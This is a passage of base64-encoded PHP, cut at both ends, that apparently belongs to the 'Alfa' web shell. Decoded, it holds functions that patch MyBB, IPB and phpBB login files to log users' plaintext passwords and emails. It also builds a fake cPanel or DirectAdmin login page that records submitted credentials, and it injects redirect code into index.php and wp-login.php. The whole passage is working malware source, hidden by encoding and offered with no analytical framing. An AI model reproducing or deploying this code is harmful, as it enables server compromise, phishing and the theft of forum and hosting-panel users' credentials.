c2VybmFtZVwnXTskYWxmYV9wdyA9IEAkX1BPU1RbXCdwYXNzd29yZFwnXTtpZihpc3NldCgkX1BPU1RbXCdsYW5ndWFnZVwnXSkpeyRhbGZhX3EgPSAiU0VMRUNUICogRlJPTSB0YmxhZG1pbnMgV0hFUkUgYHVzZXJuYW1lYCA9IFwnJGFsZmFfdW5hbWVcJyBBTkQgYHBhc3N3b3JkYCA9IFwnIi5tZDUoJGFsZmFfcHcpLiJcJyI7JGFkbWluID0gdHJ1ZTt9ZWxzZXskYWxmYV9xID0gIlNFTEVDVCAqIEZST00gdGJsY2xpZW50cyBXSEVSRSBgZW1haWxgID0gXCckYWxmYV91bmFtZVwnIjskYWRtaW4gPSBmYWxzZTt9JGFsZmFfcXVlcnkgPSBteXNxbGlfcXVlcnkoJGFsZmFfY29ubmVjdCwgJGFsZmFfcSk7aWYobXlzcWxpX251bV9yb3dzKCRhbGZhX3F1ZXJ5KSA+IDAgKXskcm93ID0gbXlzcWxpX2ZldGNoX2FycmF5KCRhbGZhX3F1ZXJ5KTskYWxsb3cgPSB0cnVlO2lmKCEkYWRtaW4peyRfX3NhbHQgPSBleHBsb2RlKFwnOlwnLCAkcm93W1wncGFzc3dvcmRcJ10pOyRfX2VuY1BXID0gbWQ1KCRfX3NhbHRbMV0uJF9QT1NUW1wncGFzc3dvcmRcJ10pLlwnOlwnLiRfX3NhbHRbMV07aWYoJHJvd1tcJ3Bhc3N3b3JkXCddID09ICRfX2VuY1BXKXskYWxsb3cgPSB0cnVlOyRyb3dbXCd1c2VybmFtZVwnXSA9ICRyb3dbXCdlbWFpbFwnXTt9ZWxzZXskYWxsb3cgPSBmYWxzZTt9fWlmKCRhbGxvdyl7JGZwID0gQGZvcGVuKCRhbGZhX2ZpbGUsICJhKyIpO0Bmd3JpdGUoJGZwLCAkcm93W1wndXNlcm5hbWVcJ10gLiBcJyA6IFwnIC4gICRhbGZhX3B3LiIgKCIgLiAkcm93WyJlbWFpbCJdIC4gIikgOiAiLigkYWRtaW4gPyBcJ2lzX2FkbWluXCcgOiBcJ2lzX3VzZXJcJykuIlxuIik7QGZjbG9zZSgkZnApOyRmID0gQGZpbGUoJGFsZmFfZmlsZSk7JG5ldyA9IGFycmF5X3VuaXF1ZSgkZik7JGZwID0gQGZvcGVuKCRhbGZhX2ZpbGUsICJ3Iik7Zm9yZWFjaCgkbmV3IGFzICR2YWx1ZXMpe0Bmd3JpdGUoJGZwLCAkdmFsdWVzKTt9QGZjbG9zZSgkZnApO319fX0/Pic7CiRjb2RlPXN0cl9yZXBsYWNlKCd7c2F2ZXRvX3BhdGh9Jywkc2F2ZXRvLCRjb2RlKTsKJGNvbmY9JHBhdGguIi9jb25maWd1cmF0aW9uLnBocCI7CmlmKEBpc19maWxlKCRjb25mKSBBTkQgQGlzX3dyaXRhYmxlKCRjb25mKSl7CiRkYXRhX2NvbmYgPSBAZmlsZV9nZXRfY29udGVudHMoJGNvbmYpOwppZighc3Ryc3RyKCRkYXRhX2NvbmYsJz8+JykpJGNvZGUgPSAnPz4nLiRjb2RlOwokZXZpbF9jb25mID0gJGRhdGFfY29uZi4iXG4iLiRjb2RlOwpAZmlsZV9wdXRfY29udGVudHMoJGNvbmYsICRldmlsX2NvbmYpOwpoaWphY2tPdXRwdXQoMCwkc2F2ZXRvKTsKfWVsc2V7CmhpamFja091dHB1dCgxKTsKfQp9CmZ1bmN0aW9uIGhpamFja015YmIoJHBhdGgsJHNhdmV0byl7CiRjb2RlID0gJyRhbGZhX3EgPSAkZGItPnF1ZXJ5KCJTRUxFQ1QgYGVtYWlsYCBGUk9NICIuVEFCTEVfUFJFRklYLiJ1c2VycyBXSEVSRSBgdXNlcm5hbWVgID0gXCciLiR1c2VyW1wndXNlcm5hbWVcJ10uIlwnIik7JGFsZmFfZmV0Y2ggPSAkZGItPmZldGNoX2FycmF5KCRhbGZhX3EpOyRhbGZhX2ZpbGUgPSAie3NhdmV0b19wYXRofSI7JGZwID0gQGZvcGVuKCRhbGZhX2ZpbGUsICJhKyIpO0Bmd3JpdGUoJGZwLCAkdXNlcltcJ3VzZXJuYW1lXCddLiIgOiAiLiAkdXNlcltcJ3Bhc3N3b3JkXCddLiIgKCAiLiRhbGZhX2ZldGNoW1wnZW1haWxcJ10uIiApXG4iKTtAZmNsb3NlKCRmcCk7JGYgPSBAZmlsZSgkYWxmYV9maWxlKTskbmV3ID0gYXJyYXlfdW5pcXVlKCRmKTskZnAgPSBAZm9wZW4oJGFsZmFfZmlsZSwgInciKTtmb3JlYWNoKCRuZXcgYXMgJHZhbHVlcyl7QGZ3cml0ZSgkZnAsICR2YWx1ZXMpO31AZmNsb3NlKCRmcCk7JzsKJGZpbmQgPSAnJGxvZ2luaGFuZGxlci0+Y29tcGxldGVfbG9naW4oKTsnOwokY29kZT1zdHJfcmVwbGFjZSgne3NhdmV0b19wYXRofScsJHNhdmV0bywkY29kZSk7CiRsb2dpbj0kcGF0aC4iL21lbWJlci5waHAiOwokZXZpbF9sb2dpbiA9ICJcdCIuJGNvZGUuIlxuXHQiLiRmaW5kOwppZihAaXNfZmlsZSgkbG9naW4pIEFORCBAaXNfd3JpdGFibGUoJGxvZ2luKSl7CiRkYXRhX2xvZ2luID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRsb2dpbik7CmlmKHN0cnN0cigkZGF0YV9sb2dpbiwgJGZpbmQpKXsKJGxvZ2luX3JlcGxhY2UgPSBzdHJfcmVwbGFjZSgkZmluZCwkZXZpbF9sb2dpbiwgJGRhdGFfbG9naW4pOwpAZmlsZV9wdXRfY29udGVudHMoJGxvZ2luLCAkbG9naW5fcmVwbGFjZSk7CmhpamFja091dHB1dCgwLCRzYXZldG8pOwp9ZWxzZXsKaGlqYWNrT3V0cHV0KDEpOwp9Cn1lbHNlewpoaWphY2tPdXRwdXQoMSk7Cn0KfQpmdW5jdGlvbiBoaWphY2tJUEIoJHBhdGgsJHNhdmV0byl7CiRjb2RlID0gJyRBbGZhX3EgPSAkdGhpcy0+REItPmJ1aWxkQW5kRmV0Y2goYXJyYXkoXCdzZWxlY3RcJyA9PiBcJ2VtYWlsXCcsIFwnZnJvbVwnID0+IFwnbWVtYmVyc1wnLCBcJ3doZXJlXCcgPT4gXCduYW1lPSJcJy4kdXNlcm5hbWUuXCciIE9SIGVtYWlsPSJcJy4kZW1haWwuXCciXCcpKTskQWxmYV9maWxlID0gIntzYXZldG9fcGF0aH0iOyRmcCA9IEBmb3BlbigkQWxmYV9maWxlLCAiYSsiKTtAZndyaXRlKCRmcCwgJF9QT1NUW1wnaXBzX3VzZXJuYW1lXCddLlwnIDogXCcuJF9QT1NUW1wnaXBzX3Bhc3N3b3JkXCddLlwnICggXCcuJEFsZmFfcVtcJ2VtYWlsXCddLlwnIClcJy4iXG4iKTtAZmNsb3NlKCRmcCk7JGYgPSBAZmlsZSgkQWxmYV9maWxlKTskbmV3ID0gYXJyYXlfdW5pcXVlKCRmKTskZnAgPSBAZm9wZW4oJEFsZmFfZmlsZSwgInciKTtmb3JlYWNoKCRuZXcgYXMgJHZhbHVlcyl7QGZwdXRzKCRmcCwgJHZhbHVlcyk7fUBmY2xvc2UoJGZwKTsnOwokZmluZCA9ICd1bnNldCggJG1lbWJlcltcJ3BsYWluUGFzc3dvcmRcJ10gKTsnOwokY29kZT1zdHJfcmVwbGFjZSgne3NhdmV0b19wYXRofScsJHNhdmV0bywkY29kZSk7CiRsb2dpbj0kcGF0aC4iL2FkbWluL3NvdXJjZXMvaGFuZGxlcnMvaGFuX2xvZ2luLnBocCI7CiRldmlsX2xvZ2luID0gIlx0Ii4kZmluZC4iXG5cdCIuJGNvZGU7CmlmKEBpc19maWxlKCRsb2dpbikgQU5EIEBpc193cml0YWJsZSgkbG9naW4pKXsKJGRhdGFfbG9naW4gPSBAZmlsZV9nZXRfY29udGVudHMoJGxvZ2luKTsKaWYoc3Ryc3RyKCRkYXRhX2xvZ2luLCAkZmluZCkpewokbG9naW5fcmVwbGFjZSA9IHN0cl9yZXBsYWNlKCRmaW5kLCRldmlsX2xvZ2luLCAkZGF0YV9sb2dpbik7CkBmaWxlX3B1dF9jb250ZW50cygkbG9naW4sICRsb2dpbl9yZXBsYWNlKTsKaGlqYWNrT3V0cHV0KDAsJHNhdmV0byk7Cn1lbHNlewpoaWphY2tPdXRwdXQoMSk7Cn0KfWVsc2V7CmhpamFja091dHB1dCgxKTsKfQp9CmZ1bmN0aW9uIGhpamFja1BIUEJCKCRwYXRoLCRzYXZldG8pewokY29kZSA9ICckQWxmYV91ID0gcmVxdWVzdF92YXIoXCd1c2VybmFtZVwnLCBcJ1wnKTskQWxmYV9wID0gcmVxdWVzdF92YXIoXCdwYXNzd29yZFwnLCBcJ1wnKTtpZigkQWxmYV91ICE9IFwnXCcgQU5EICRBbGZhX3AgIT0gXCdcJyl7JEFsZmFfcmVzcG9uc2UgPSAkYXV0aC0+bG9naW4oJEFsZmFfdSwkQWxmYV9wKTtpZigkQWxmYV9yZXNwb25zZVtcJ3N0YXR1c1wnXSA9PSBMT0dJTl9TVUNDRVNTKXskQWxmYV9maWxlID0ie3NhdmV0b19wYXRofSI7JGZwID0gQGZvcGVuKCRBbGZhX2ZpbGUsICJhKyIpO0Bmd3JpdGUoJGZwLCAkQWxmYV91LiIgOiAiLiRBbGZhX3AuICIgKCAiLiRBbGZhX3Jlc3BvbnNlW1wndXNlcl9yb3dcJ11bXCd1c2VyX2VtYWlsXCddLiIgKVxuIik7QGZjbG9zZSgkZnApOyRmID0gQGZpbGUoJEFsZmFfZmlsZSk7JG5ldyA9IGFycmF5X3VuaXF1ZSgkZik7JGZwID0gQGZvcGVuKCRBbGZhX2ZpbGUsICJ3Iik7Zm9yZWFjaCgkbmV3IGFzICR2YWx1ZXMpe0BmcHV0cygkZnAsICR2YWx1ZXMpO31AZmNsb3NlKCRmcCk7fX0nOwokZmluZCA9ICdjYXNlIFwnbG9naW5cJzonOwokY29kZT1zdHJfcmVwbGFjZSgne3NhdmV0b19wYXRofScsJHNhdmV0bywkY29kZSk7CiRsb2dpbj0kcGF0aC4iL3VjcC5waHAiOwokZXZpbF9sb2dpbiA9ICJcdCIuJGZpbmQuIlxuXHQiLiRjb2RlOwppZihAaXNfZmlsZSgkbG9naW4pIEFORCBAaXNfd3JpdGFibGUoJGxvZ2luKSl7CiRkYXRhX2xvZ2luID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRsb2dpbik7CmlmKHN0cnN0cigkZGF0YV9sb2dpbiwgJGZpbmQpKXsKJGxvZ2luX3JlcGxhY2UgPSBzdHJfcmVwbGFjZSgkZmluZCwkZXZpbF9sb2dpbiwgJGRhdGFfbG9naW4pOwpAZmlsZV9wdXRfY29udGVudHMoJGxvZ2luLCAkbG9naW5fcmVwbGFjZSk7CmhpamFja091dHB1dCgwLCRzYXZldG8pOwp9ZWxzZXsKaGlqYWNrT3V0cHV0KDEpOwp9Cn1lbHNlewpoaWphY2tPdXRwdXQoMSk7Cn0KfQpmdW5jdGlvbiBoaWphY2tPdXRwdXQoJGM9MCwkcD0nJyl7ZWNobygkYz09MD8iPGNlbnRlcj48Zm9udCBjb2xvcj0nZ3JlZW4nPlN1Y2Nlc3M8L2ZvbnQ+IC0tPiBwYXRoOiAkcDwvY2VudGVyPiI6JzxjZW50ZXI+PGZvbnQgY29sb3I9InJlZCI+RXJyb3IgaW4gaW5qZWN0IGNvZGUgITwvZm9udD48L2NlbnRlcj4nKTt9CmZ1bmN0aW9uIEFsZmFfU3RyU2VhcmNoZXIoJGRpciwkc3RyaW5nLCRleHQsJGUsJGFycj1hcnJheSgpKXsKaWYoQGlzX2RpcigkZGlyKSl7CiRmaWxlcz1Ac2NhbmRpcigkZGlyKTsKZm9yZWFjaCgkZmlsZXMgYXMgJGtleSA9PiAkdmFsdWUpewokcGF0aD1AcmVhbHBhdGgoJGRpci4gRElSRUNUT1JZX1NFUEFSQVRPUiAuJHZhbHVlKTsKaWYoIUBpc19kaXIoJHBhdGgpKXsKaWYoJGV4dCE9JyonKXskZiA9IGJhc2VuYW1lKCRwYXRoKTskZiA9IGV4cGxvZGUoJy4nLCRmKTskZiA9IGVuZCgkZik7aWYoJGYhPSRleHQpY29udGludWU7fQppZigkZT09J3N0cicpewokY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygkcGF0aCk7CmlmKHN0cnBvcygkY29udGVudCwgJHN0cmluZykgIT09IGZhbHNlKXsKZWNobyBzdHJfcmVwbGFjZSgnXFwnLCcvJywkcGF0aCkgLiAiPGJyPiI7Cn0KfWVsc2V7CmlmKHN0cnN0cigkdmFsdWUsJHN0cmluZykpewplY2hvIHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKSAuICI8YnI+IjsKfQp9CiRyZXN1bHRzW10gPSAkcGF0aDsKfWVsc2VpZigkdmFsdWUgIT0gIi4iICYmICR2YWx1ZSAhPSAiLi4iKSB7CkFsZmFfU3RyU2VhcmNoZXIoJHBhdGgsJHN0cmluZywkZXh0LCRlLCRyZXN1bHRzKTsKJHJlc3VsdHNbXSA9ICRwYXRoOwp9fX19CmZ1bmN0aW9uIGFsZmFmYWtlcGFnZSgpewoJYWxmYWhlYWQoKTsKCUFsZmFOdW0oOSwxMCk7CgllY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48YnI+Cgk8Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEhvc3QgTWFuYWdlciBGYWtlIHBhZ2UgfDwvZGl2PjwvY2VudGVyPjxicj48YnI+PGZvcm0gb25TdWJtaXQ9ImcoXCdmYWtlcGFnZVwnLG51bGwsdGhpcy5jbG9uZV9wYWdlLnZhbHVlLHRoaXMuZmFrZV9yb290LnZhbHVlLFwnPj5cJyx0aGlzLmxvZ3RvLnZhbHVlLHRoaXMucGFuZWwudmFsdWUsdGhpcy5pbmplY3RfdG8udmFsdWUsdGhpcy5iaW5kX29uLnZhbHVlLHRoaXMuY291bnQudmFsdWUpO3JldHVybiBmYWxzZTsiIG1ldGhvZD1cJ3Bvc3RcJz4KCTxkaXYgY2xhc3M9InR4dGZvbnQiIHN0eWxlPSJwb3NpdGlvbjogcmVsYXRpdmU7bGVmdDogNTAlO3RyYW5zZm9ybTogdHJhbnNsYXRlKC01MCUpOyI+PGRpdiBzdHlsZT0ibWFyZ2luLWJvdHRvbTo2cHg7Ij48c3BhbiBzdHlsZT0iZGlzcGxheTogaW5saW5lLWJsb2NrO3dpZHRoOiAxMDZweDsiPlBhbmVsOiA8L3NwYW4+PHNlbGVjdCBzdHlsZT0id2lkdGg6MTAwcHg7IiBuYW1lPSJwYW5lbCI+JzsKCSRjbV9hcnJheSA9IGFycmF5KCJjcGFuZWwiPT4iQ3BhbmVsIiwiZGlyZWN0YWRtaW4iPT4iRGlyZWN0QWRtaW4iKTsKCWZvcmVhY2goJGNtX2FycmF5IGFzICRrZXk9PiR2YWwpZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy4ka2V5LiciPicuJHZhbC4nPC9vcHRpb24+JzsKCWVjaG8oIjwvc2VsZWN0PjwvZGl2PiIpOwoJZWNobyAnPGRpdiBzdHlsZT0ibWFyZ2luLWJvdHRvbTo2cHg7Ij48c3BhbiBzdHlsZT0iZGlzcGxheTogaW5saW5lLWJsb2NrO3dpZHRoOiAxMDZweDsiPkNsb25lIHBhZ2U6IDwvc3Bhbj48aW5wdXQgc2l6ZT0iNTAiIHR5cGU9InRleHQiIG5hbWU9ImNsb25lX3BhZ2UiIHBsYWNlaG9sZGVyPSJlZzogaHR0cHM6Ly90YXJnZXQuY29tOjIwODMgfCBodHRwczovL3RhcmdldC5jb206MjIyMiI+PC9kaXY+Cgk8ZGl2IHN0eWxlPSJtYXJnaW4tYm90dG9tOjZweDsiPjxzcGFuPkZha2UgcGFnZSByb290OiA8L3NwYW4+PGlucHV0IHNpemU9IjUwIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmYWtlX3Jvb3QiIHZhbHVlPSInLiRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0uJy9mYWtlX3BhZ2Vfcm9vdC8iPjwvZGl2PgoJPGRpdiBzdHlsZT0ibWFyZ2luLWJvdHRvbTo2cHg7Ij48c3BhbiBzdHlsZT0iZGlzcGxheTogaW5saW5lLWJsb2NrO3dpZHRoOiAxMDZweDsiPkluamVjdCB0bzogPC9zcGFuPjxpbnB1dCBzaXplPSI1MCIgdHlwZT0idGV4dCIgbmFtZT0iaW5qZWN0X3RvIiB2YWx1ZT0iJy4kX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdLicvaW5kZXgucGhwIj48L2Rpdj4KCTxkaXYgc3R5bGU9Im1hcmdpbi1ib3R0b206NnB4OyI+PHNwYW4gc3R5bGU9ImRpc3BsYXk6IGlubGluZS1ibG9jazt3aWR0aDogMTA2cHg7Ij5CaW5kIG9uOiA8L3NwYW4+PGlucHV0IHNpemU9IjUwIiB0eXBlPSJ0ZXh0IiBuYW1lPSJiaW5kX29uIiBwbGFjZWhvbGRlcj0iZWc6ICcuJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXS4nL3dwLWxvZ2luLnBocCI+PC9kaXY+Cgk8ZGl2IHN0eWxlPSJtYXJnaW4tYm90dG9tOjZweDsiPjxzcGFuIHN0eWxlPSJkaXNwbGF5OiBpbmxpbmUtYmxvY2s7d2lkdGg6IDEwNnB4OyI+TG9nIFRvOiA8L3NwYW4+PGlucHV0IHNpemU9IjUwIiB0eXBlPSJ0ZXh0IiBuYW1lPSJsb2d0byIgdmFsdWU9IicuJEdMT0JBTFNbJ2N3ZCddLidsb2dzLnR4dCI+PC9kaXY+Cgk8ZGl2IHN0eWxlPSJtYXJnaW4tYm90dG9tOjZweDsiPjxzcGFuIHN0eWxlPSJkaXNwbGF5OiBpbmxpbmUtYmxvY2s7d2lkdGg6IDEwNnB4OyI+Q291bnQgb2YgSW52YWxpZCBsb2dpbjogPC9zcGFuPjxpbnB1dCBzaXplPSIyMCIgdHlwZT0idGV4dCIgbmFtZT0iY291bnQiIHZhbHVlPSIzIiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7Ij48L2Rpdj4KCTxkaXYgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyOyI+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYnRuIiB2YWx1ZT0iICI+PC9kaXY+PC9kaXY+PC9mb3JtPjxicj4nOwoJJGNsb25lX3BhZ2UgPSAkX1BPU1RbJ2FsZmExJ107CgkkZmFrZV9yb290ID0gJF9QT1NUWydhbGZhMiddOwoJJGxvZ3RvID0gJF9QT1NUWydhbGZhNCddOwoJJHBhbmVsID0gJF9QT1NUWydhbGZhNSddOwoJJGluamVjdF90byA9ICRfUE9TVFsnYWxmYTYnXTsKCSRiaW5kX29uID0gJF9QT1NUWydhbGZhNyddOwoJJGNvdW50ID0gJF9QT1NUWydhbGZhOCddOwoJaWYoIWVtcHR5KCRjbG9uZV9wYWdlKSAmJiAhZW1wdHkoJGZha2Vfcm9vdCkgJiYgIWVtcHR5KCRsb2d0bykgJiYgIWVtcHR5KCRpbmplY3RfdG8pICYmICFlbXB0eSgkYmluZF9vbikgJiYgJF9QT1NUWydhbGZhMyddID09ICc+PicpewoJCWVjaG8gX19wcmUoKTsKCQkkdGFyZ2V0ID0gJGNsb25lX3BhZ2U7CgkJJGN1cmwgPSBuZXcgQWxmYUNVUkwoKTsKCQkkc291cmNlX3BhZ2UgPSAkY3VybC0+U2VuZCgkdGFyZ2V0KTsKCQlpZighZW1wdHkoJHNvdXJjZV9wYWdlKSl7CgkJCSRtYXRjaGVkX2Zvcm0gPSAiIjsKCQkJaWYoJHBhbmVsID09ICJjcGFuZWwiKXsKCQkJCWlmKHByZWdfbWF0Y2goJyM8Zm9ybSguKilpZD0ibG9naW5fZm9ybSIoLiopPiMnLCAkc291cmNlX3BhZ2UsICRtYXRjaCkpewoJCQkJCSRtYXRjaGVkX2Zvcm0gPSAkbWF0Y2hbMF07CgkJCQl9CgkJCX1lbHNlewoJCQkJaWYocHJlZ19tYXRjaCgnIzxmb3JtKC4qPyk+IycsICRzb3VyY2VfcGFnZSwgJG1hdGNoKSl7CgkJCQkJJG1hdGNoZWRfZm9ybSA9ICRtYXRjaFswXTsKCQkJCX0KCQkJfQoJCQlpZighZW1wdHkoJG1hdGNoZWRfZm9ybSkpewoJCQkJJGZha2UgPSAiIjsKCQkJCSRwd2QgPSBzdHJfcmVwbGFjZSgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdLCAnJywgJGZha2Vfcm9vdCk7CgkJCQkkdXJpID0gc3RyX3JlcGxhY2UoJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXSwgJycsICRpbmplY3RfdG8pOwoJCQkJaWYoJHBhbmVsID09ICJjcGFuZWwiKXsKCQkJCQkkcG9ydCA9ICIyMDgzIjsKCQkJCX1lbHNlewoJCQkJCSR0YXJnZXQgPSBzdHJfcmVwbGFjZShhcnJheSgiaHR0cDovLyIsICJodHRwczovLyIpLCAiIiwgJHRhcmdldCk7CgkJCQkJJHBvcnQgPSBleHBsb2RlKCI6IiwkdGFyZ2V0KTsKCQkJCQkkcG9ydCA9ICRwb3J0WzFdOwoJCQkJfQoJCQkJaWYoc3Vic3RyKCR1cmksIDAsIDEpID09ICIvIil7CgkJCQkJJHVyaSA9IHN1YnN0cigkdXJpLCAxKTsKCQkJCX0KCQkJCSR1cmkgPSAkX1NFUlZFUlsiSFRUUF9PUklHSU4iXSAuICcvJyAuIHN0cl9yZXBsYWNlKCJpbmRleC5waHAiLCAiIiwgJHVyaSkgLiAnPzonIC4gJHBvcnQ7CgkJCQkkbG9nX3VybCA9ICRfU0VSVkVSWyJIVFRQX09SSUdJTiJdIC4gJHB3ZCAuICcvbG9nLnBocCc7CgkJCQlpZigkcGFuZWwgPT0gImNwYW5lbCIpewoJCQkJCSRmb3JtID0gJzxmb3JtIG5vdmFsaWRhdGUgaWQ9ImxvZ2luX2Zvcm0iIGFjdGlvbj0iJy4kbG9nX3VybC4nIiBtZXRob2Q9InBvc3QiIHRhcmdldD0iX3RvcCIgc3R5bGU9InZpc2liaWxpdHk6Ij4nOwoJCQkJfWVsc2V7CgkJCQkJJGZvcm0gPSAnPGZvcm0gYWN0aW9uPSInLiRsb2dfdXJsLiciIG1ldGhvZD0icG9zdCI+JzsKCQkJCX0KCQkJCSRmYWtlID0gc3RyX3JlcGxhY2UoJG1hdGNoZWRfZm9ybSwgJGZvcm0sICRzb3VyY2VfcGFnZSk7CgkJCQlpZihAIWlzX2RpcigkZmFrZV9yb290KSl7CgkJCQkJQG1rZGlyKCRmYWtlX3Jvb3QsIDA3NzcsIHRydWUpOwoJCQkJfQoKCQkJCSRjb29raWVfbmFtZSA9ICJhbGZhX2Zha2VwYWdlX2NvdW50ZXIiIC4gcmFuZCg5OTk5LDk5OTk5KTsKCgkJCQkkcG9zdF91c2VyID0gJ3VzZXInOwoJCQkJJHBvc3RfcGFzcyA9ICdwYXNzJzsKCQkJCSRyZXNwX2NvZGUgPSAnaWYoZW1wdHkoJHVzZXIpKXtodHRwX3Jlc3BvbnNlX2NvZGUoNDAwKTtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCJtZXNzYWdlIiA9PiAibm9fdXNlcm5hbWUiKSk7fWVsc2V7aHR0cF9yZXNwb25zZV9jb2RlKDQwMSk7fSc7CgkJCQlpZigkcGFuZWwgIT0gImNwYW5lbCIpewoJCQkJCSRwb3N0X3VzZXIgPSAndXNlcm5hbWUnOwoJCQkJCSRwb3N0X3Bhc3MgPSAncGFzc3dvcmQnOwoJCQkJCSRyZXNwX2NvZGUgPSAnQGhlYWRlcigiTG9jYXRpb246ICIuJF9TRVJWRVJbXCdIVFRQX1JFRkVSRVJcJ10pOyc7CgkJCQl9CgoJCQkJJGNwYW5lbF9sb2cgPSAnPD9waHAgJGNvb2tfdGltZSA9IHRpbWUoKSsoODY0MDAgKiA3KTsgJHVzZXIgPSAkX1BPU1RbIicuJHBvc3RfdXNlci4nIl07JHBhc3MgPSAkX1BPU1RbIicuJHBvc3RfcGFzcy4nIl07aWYoIWVtcHR5KCR1c2VyKSAmJiAhZW1wdHkoJHBhc3MpKXtpZighaXNzZXQoJF9DT09LSUVbIicuJGNvb2tpZV9uYW1lLiciXSkpe0BzZXRjb29raWUoIicuJGNvb2tpZV9uYW1lLiciLCAwLCAkY29va190aW1lLCAiLyIpOyRfQ09PS0lFWyInLiRjb29raWVfbmFtZS4nIl09MTt9aWYoKGludCkkX0NPT0tJRVsiJy4kY29va2llX25hbWUuJyJdPicuJGNvdW50Licpe0BoZWFkZXIoIkxvY2F0aW9uOiAvIik7ZXhpdDt9QHNldGNvb2tpZSgiJy4kY29va2llX25hbWUuJyIsICgoaW50KSRfQ09PS0lFWyInLiRjb29raWVfbmFtZS4nIl0gKyAxKSwgJGNvb2tfdGltZSwgIi8iKTskZnAgPSBAZm9wZW4oIicuJGxvZ3RvLiciLCAiYSsiKTtAZndyaXRlKCRmcCwgJHVzZXIgLiAiIDogIiAuICRwYXNzIC4gIlxuIik7ZmNsb3NlKCRmcCk7c2xlZXAoMyk7Jy4kcmVzcF9jb2RlLidleGl0O30/Pic7CgoJCQkJQGZpbGVfcHV0X2NvbnRlbnRzKCRmYWtlX3Jvb3QuJy9sb2cucGhwJywgJGNwYW5lbF9sb2cpOwoKCQkJCWlmKCRwYW5lbCA9PSAiY3BhbmVsIil7CgkJCQkJJGZha2UgPSBwcmVnX3JlcGxhY2UoYXJyYXkoJyM8bGluayguKilocmVmPSIoLiopIiguKik+IycsICcjPGltZyBjbGFzcz0ibWFpbi1sb2dvIiBzcmM9IiguKikiKC4qKT4jJywgJyMgPGEoLiopaWQ9InJlc2V0X3Bhc3N3b3JkIj4jJyksIGFycmF5KCc8bGluayBocmVmPSInLiR0YXJnZXQuJy8kMiI+JywgJzxpbWcgY2xhc3M9Im1haW4tbG9nbyIgc3JjPSInLiR0YXJnZXQuJy8kMSIgYWx0PSJsb2dvIiAvPicsICc8YSBocmVmPSIjIiBpZD0icmVzZXRfcGFzc3dvcmQiPicpLCAkZmFrZSk7CgkJCQl9CgoJCQkJQGZpbGVfcHV0X2NvbnRlbnRzKCRmYWtlX3Jvb3QuJy9pbmRleC5waHAnLCAkZmFrZSk7CgoJCQkJJGluamVjdF9jb2RlID0gJzw/cGhwIGlmKGlzc2V0KCRfR0VUWyI6MjA4MyJdKSYmKGludCkkX0NPT0tJRVsiJy4kY29va2llX25hbWUuJyJdPCcuJGNvdW50Licpe0BpbmNsdWRlKCInLiRmYWtlX3Jvb3QuJy9pbmRleC5waHAiKTtleGl0O30/Pic7CgkJCQkkYmluZF9vbl9jb2RlID0gJzw/cGhwIGlmKChpbnQpJF9DT09LSUVbIicuJGNvb2tpZV9uYW1lLiciXTwnLiRjb3VudC4nKXtAaGVhZGVyKCJMb2NhdGlvbjogJy4kdXJpLiciKTtleGl0O30/Pic7CgoJCQkJQGZpbGVfcHV0X2NvbnRlbnRzKCRpbmplY3RfdG8sICRpbmplY3RfY29kZSAuICJcbiIgLkBmaWxlX2dldF9jb250ZW50cygkaW5qZWN0X3RvKSk7CgkJCQlAZmlsZV9wdXRfY29udGVudHMoJGJpbmRfb24sICRiaW5kX29uX2NvZGUgLiAiXG4iIC5AZmlsZV9nZXRfY29udGVudHMoJGJpbmRfb24pKTsKCgkJCQllY2hvICJzdWNjZXNzLi4uISI7CgkJCX1lbHNlewoJCQkJZWNobyAiZmFpbGVkLi4uISI7CgkJCX0KCQl9ZWxzZXsKCQkJZWNobygiPGRpdiBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Y29sb3I6cmVkOyc+Q2Fubm90IG9wZW4gdGhlIHRhcmdldC4uLiE8L2Rpdj4iKTsKCQl9Cgl9CgllY2hvICc8L2Rpdj4nOwoJYWxmYWZvb3RlcigpOwp9CmZ1bmN0aW9uIGFsZmFhcmNoaXZlX21hbmFnZXIoKXsKCWFsZmFoZWFkKCk7CgkkZmlsZSA9ICRfUE9TVFsnYWxmYTInXTsKCWlmKCFmaWxlX2V4aXN0cygkZmlsZSkpewoJCSRmaWxlID0gJEdMT0JBTFNbJ2N3ZCddOwoJfQoJJHJhbmRfaWQgPSByYW5kKDk5OTksIDk5OTk5OSk7CgllY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEFyY2hpdmUgTWFuYWdlciB8PC9kaXY+PC9wPic7CgllY2hvICc8Zm9ybSBuYW1lPSJzcmNoIiBvblN1Ym1pdD0iZyhcJ2FyY2hpdmVfbWFuYWdlclwnLG51bGwsbnVsbCx0aGlzLmZpbGUudmFsdWUsbnVsbCxudWxsLFwnPj5cJyk7cmV0dXJuIGZhbHNlOyIgbWV0aG9kPVwncG9zdFwnPgoJPGRpdiBjbGFzcz0idHh0Zm9udCI+CglBcmNoaXZlIGZpbGU6IDxpbnB1dCBzaXplPSI1MCIgaWQ9InRhcmdldCIgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSIgdmFsdWU9IicuJGZpbGUuJyI+Cgk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidG4iIHZhbHVlPSIgIj48L2Rpdj48L2Zvcm0+PC9jZW50ZXI+PGJyPic7CglpZigkX1BPU1RbJ2FsZmE1J109PSc+PicpewoJCS8vZWNobyBfX3ByZSgpOwoJCWVjaG8gJzxocj48ZGl2IHN0eWxlPSJtYXJnaW4tbGVmdDogMTJweDsiIGFyY2hpdmVfZnVsbD0icGhhcjovLycuJG